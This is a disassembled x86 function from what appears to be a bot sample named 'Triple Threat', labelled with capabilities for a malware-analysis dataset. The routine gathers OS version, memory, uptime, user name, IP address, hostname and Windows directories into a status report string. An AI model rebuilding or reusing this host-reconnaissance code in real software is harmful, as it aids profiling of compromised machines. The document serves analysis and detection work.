Function at 0x404f48
Capabilities:
Check os version
Get common file path
Get memory capacity
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4ec
push ebx
push esi
push edi
lea ebx, [0x4131e9]
mov dword [ebp - 0xc0], 0x100
mov dword [ebp - 0xb4], 0x20
lea eax, [ebp - 0xb4]
push eax
call sub.KERNEL32.DLL_GlobalMemoryStatus
mov dword [ebp - 0x94], 0x94
lea eax, [ebp - 0x94]
push eax
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [ebp - 0x90], 4
jne 0x404fd5
cmp dword [ebp - 0x8c], 0
jne 0x404fd5
cmp dword [ebp - 0x84], 1
jne 0x404fb7
lea eax, [0x4131e6]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0x84], 2
jne 0x405061
lea eax, [0x4131e3]
mov dword [ebp - 0xbc], eax
jmp 0x405061
cmp dword [ebp - 0x90], 4
jne 0x404ff5
cmp dword [ebp - 0x8c], 0xa
jne 0x404ff5
lea eax, [0x4131e0]
mov dword [ebp - 0xbc], eax
jmp 0x405061
cmp dword [ebp - 0x90], 4
jne 0x405015
cmp dword [ebp - 0x8c], 0x5a
jne 0x405015
lea eax, [0x4131dd]
mov dword [ebp - 0xbc], eax
jmp 0x405061
cmp dword [ebp - 0x90], 5
jne 0x405035
cmp dword [ebp - 0x8c], 0
jne 0x405035
lea eax, str.2000
mov dword [ebp - 0xbc], eax
jmp 0x405061
cmp dword [ebp - 0x90], 5
jne 0x405055
cmp dword [ebp - 0x8c], 1
jne 0x405055
lea eax, [0x4131d5]
mov dword [ebp - 0xbc], eax
jmp 0x405061
lea eax, [0x4131e9]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0x84], 2
jne 0x40509a
cmp byte [ebp - 0x80], 0
je 0x40509a
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0xbc]
push str._s___s_
lea eax, [ebp - 0x4de]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
lea eax, [ebp - 0x4de]
mov dword [ebp - 0xbc], eax
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x4e8], edx
mov esi, edx
lea eax, [ebp - 0xc0]
push eax
push ebx
call sub.ADVAPI32.DLL_GetUserNameA
or eax, eax
jne 0x4050cd
lea ebx, [0x4131cb]
and dword [ebp - 0xb8], 0
push str.000.000.000.000
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0xc4], eax
push 2
push 4
lea eax, [ebp - 0xc4]
push eax
call sub.wsock32.dll_gethostbyaddr
mov dword [ebp - 0xb8], eax
or eax, eax
je 0x405111
push dword [eax]
lea eax, [ebp - 0x1be]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
jmp 0x405125
push str.couldnt_resolve_host
lea eax, [ebp - 0x1be]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 8
push 0x104
lea eax, [ebp - 0x2c2]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x104
lea eax, [ebp - 0x3c6]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x46
lea eax, [ebp - 0x40c]
push eax
push str.dd:MMM:yyyy
push 0
push 0
push 0x409
call sub.KERNEL32.DLL_GetDateFormatA
push 0x46
lea eax, [ebp - 0x452]
push eax
push str.HH:mm:ss
push 0
push 0
push 0x409
call sub.KERNEL32.DLL_GetTimeFormatA
call fcn.00405281
mov dword [ebp - 0x4ec], eax
lea edi, [ebp - 0x2c2]
push edi
lea edi, [ebp - 0x3c6]
push edi
lea edi, [ebp - 0x1be]
push edi
push str.000.000.000.000
push ebx
lea edi, [ebp - 0x452]
push edi
lea edi, [ebp - 0x40c]
push edi
mov eax, esi
mov ecx, 0x15180
cdq
idiv ecx
mov edi, edx
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov eax, edx
mov ecx, 0x3c
mov edx, 0x88888889
push ecx
mov ecx, eax
imul edx
add edx, ecx
sar edx, 5
sar ecx, 0x1f
sub edx, ecx
mov eax, edx
pop ecx
push eax
mov eax, edi
mov ecx, 0xe10
mov edx, 0x91a2b3c5
push ecx
mov ecx, eax
imul edx
add edx, ecx
sar edx, 0xb
sar ecx, 0x1f
sub edx, ecx
mov eax, edx
pop ecx
push eax
mov eax, esi
mov ecx, 0x15180
mov edx, 0xc22e4507
push ecx
mov ecx, eax
imul edx
add edx, ecx
sar edx, 0x10
sar ecx, 0x1f
sub edx, ecx
mov eax, edx
pop ecx
push eax
push dword [ebp - 0x88]
push dword [ebp - 0x8c]
push dword [ebp - 0x90]
push dword [ebp - 0xbc]
push 0x413a62
push dword [ebp - 0xb0]
mov edi, dword [ebp - 0xa8]
shr edi, 0x14
push edi
mov edi, dword [ebp - 0xac]
shr edi, 0x14
push edi
mov edi, dword [ebp - 0x4ec]
push edi
push str.xXx___Triple_Threat___xXx
push str.Version:_s_cpu:__dMHz._ram:__dMB_total___dMB_free___d_s_in_use_os:_Windows__s___d._d__build__d_._uptime:__dd__dh__dm._Date:__s_Time:__s_Current_user:__s_IP_address:__s_Hostname:__s_Windir:__s_Systemdir:__s_
push dword [ebp + 8]
call sub.CRTDLL.DLL_sprintf
add esp, 0x58
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret